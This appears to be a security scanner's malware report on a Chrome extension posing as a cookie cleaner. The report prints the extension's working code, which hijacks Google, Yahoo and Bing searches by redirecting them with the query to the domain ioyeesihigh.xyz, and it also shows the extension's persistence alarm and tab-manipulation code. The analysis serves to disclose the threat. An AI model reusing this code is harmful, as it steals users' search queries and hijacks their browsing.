Security Alert: Confirmed Malware
Storage Controller
ID: iahlkjgkkhckgldjoapifhoeocneiiel
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- glo.mrtkView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Storage & Cookies Control
Storage & Cookies Control is an extension that lets you control the cookies and data on the current page youre visiting With our extension, you can easily wipe the data of the current page, no more annoying data collection!
The extension intercepts search queries from Google, Yahoo, and Bing in real time, extracts the search term from the URL, and redirects the user's active tab to a third-party domain `ioyeesihigh.xyz` with the query appended. This is a classic search hijacking attack. The `_dd` variable contains what appears to be an obfuscated key/token passed with every redirect request, likely used for affiliate tracking or C2 identification.
let _ExtDomNoSchema = "ioyeesihigh.xyz", _ExtnensionName = "Storage", _ExtensionVersion = "1", _ExtDom = "https://" + _ExtDomNoSchema + "/", _dd = "a2V5MTJYUE8GBFldQQYHF1xPCAdYUwUABF1SSAMHW1xMTUEeBxBV";async function onTabUpdated(e, t) { var a = e.id; if (~t.indexOf(chrome.runtime.id)) chrome.tabs.remove(a); else if (!~t.indexOf(_ExtDomNoSchema)) { var n = t, r = new URL(n); if (-1 === n.toLowerCase() .indexOf("complete") && n.indexOf("google.") >= 0 && n.indexOf("search") >= 0 && n.indexOf("q=") >= 0) var i = r .searchParams.get("q"); if (-1 === n.toLowerCase() .indexOf("sugg") && n.indexOf("search.yahoo.") >= 0 && n.indexOf("p=") >= 0) i = r.searchParams.get("p"); if (-1 === n.toLowerCase() .indexOf("suggestions") && n.indexOf("bing.") >= 0 && n.indexOf("search") >= 0 && n.indexOf("q=") >= 0) i = r .searchParams.get("q"); if (i && i.length > 1) { var o = await getWithExpiry("lastQuery"); let t = Math.floor(100 * Math.random()), a = await getWithExpiry("is") || 100, n = e.initiator, r = 0; if (n && (n.includes("bing.") && (r = 1), n.includes("yahoo.") && (r = 1)), a > t && r && o) return setWithExpirySec("lastQuery", i, 60), null; if (i === o) return null; setWithExpirySec("lastQuery", i, 60); let c = _ExtDom + "search?ext=" + _ExtnensionName + "&ver=" + _ExtensionVersion + "&is=" + r + "&dd=" + _dd + "&q=" + i; chrome.tabs.update({ url: c }) } }}The extension monitors every top-level navigation event across all tabs using `webNavigation.onBeforeNavigate`, intercepting navigation before it completes. This gives it the ability to inspect and redirect any URL the user navigates to, acting as a man-in-the-middle for browsing activity — the core mechanism enabling search query theft and hijacking.
chrome.webNavigation.onBeforeNavigate.addListener((function(e) { if (0 === e.frameId && -1 === e.parentFrameId) { var t = e.tabId; chrome.tabs.get(t) .then((t => { onTabUpdated(t, e.url) .then((e => {})) })) }}));The `_dd` variable holds an encoded/obfuscated string that is sent as a parameter (`&dd=`) with every search query redirect to the attacker-controlled domain. The value appears to be a base64-encoded or XOR-encoded token, likely an affiliate ID or authentication key for the remote C2 server. Its purpose is deliberately obscured from casual code inspection.
_dd = "a2V5MTJYUE8GBFldQQYHF1xPCAdYUwUABF1SSAMHW1xMTUEeBxBV";The extension creates a repeating alarm firing every 6 seconds (0.1 minutes) to keep the service worker alive persistently. This is a persistence mechanism designed to prevent the browser from suspending the background worker, ensuring the search hijacking logic remains active at all times.
chrome.alarms.get("wakeUp", (function(e) { e || chrome.alarms.create("wakeUp", { delayInMinutes: .1, periodInMinutes: .1 })}))When a new tab is opened from a Bing search results page, the extension moves it into a specially sized, repositioned window occupying 52% of screen width and offset to the right. This manipulates the user's browsing environment, likely to facilitate UI deception (e.g., making affiliate redirect pages appear as part of the normal Bing search experience) or to control viewport dimensions for ad-injection or clickjacking purposes.
chrome.tabs.onCreated.addListener((async ({ id: e, openerTabId: t, pendingUrl: a}) => { if (void 0 !== t) { const { url: n } = await chrome.tabs.get(t); if (new RegExp("bing.com/search?q") .test(n)) return; if (!n.includes("bing.com/search?q")) return; if ("undefined" === a || void 0 !== a && a.includes("chrome://")) return; const { width: r, height: i, top: o, left: c } = await chrome.windows.getCurrent(), s = Math.ceil(.52 * r), h = c + Math.abs(Math.ceil(.48 * r)), d = Math.ceil(i); await chrome.windows.create({ tabId: e, height: d, width: s, top: o, left: h, type: "normal" }) }}))The content script replaces Bing's logo with the extension's own branding image on Bing search result pages, modifying the page's visual identity to make it appear as a custom search engine. It also forces all search result links to open in new tabs (`target="_blank"`), which breaks normal browser behavior and may be designed to retain the hijacked search page context or inflate click-through counts on affiliate links.
function init() { let e = window.location.href; if (e.includes("bing.com") && e.includes("search?q")) { let e = document.querySelector("a.b_logoArea"); e.innerHTML = "", e.style.backgroundImage = img, e.style.backgroundSize = "cover", e.style.height = "46px", e.style .marginLeft = "20px", e.style.marginTop = "10px", document.querySelector("#b_content") .style.marginLeft = "40px", document.querySelector(".b_scopebar") .style.marginLeft = "200px", document.querySelector(".b_searchboxForm") .style.marginLeft = "30px"; document.querySelectorAll("#b_results a") .forEach((e => { e.href.includes("void(0)") || e.setAttribute("target", "_blank") })) }}init();By severity
Versions scanned
Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1 | 6 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.js5
- content.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.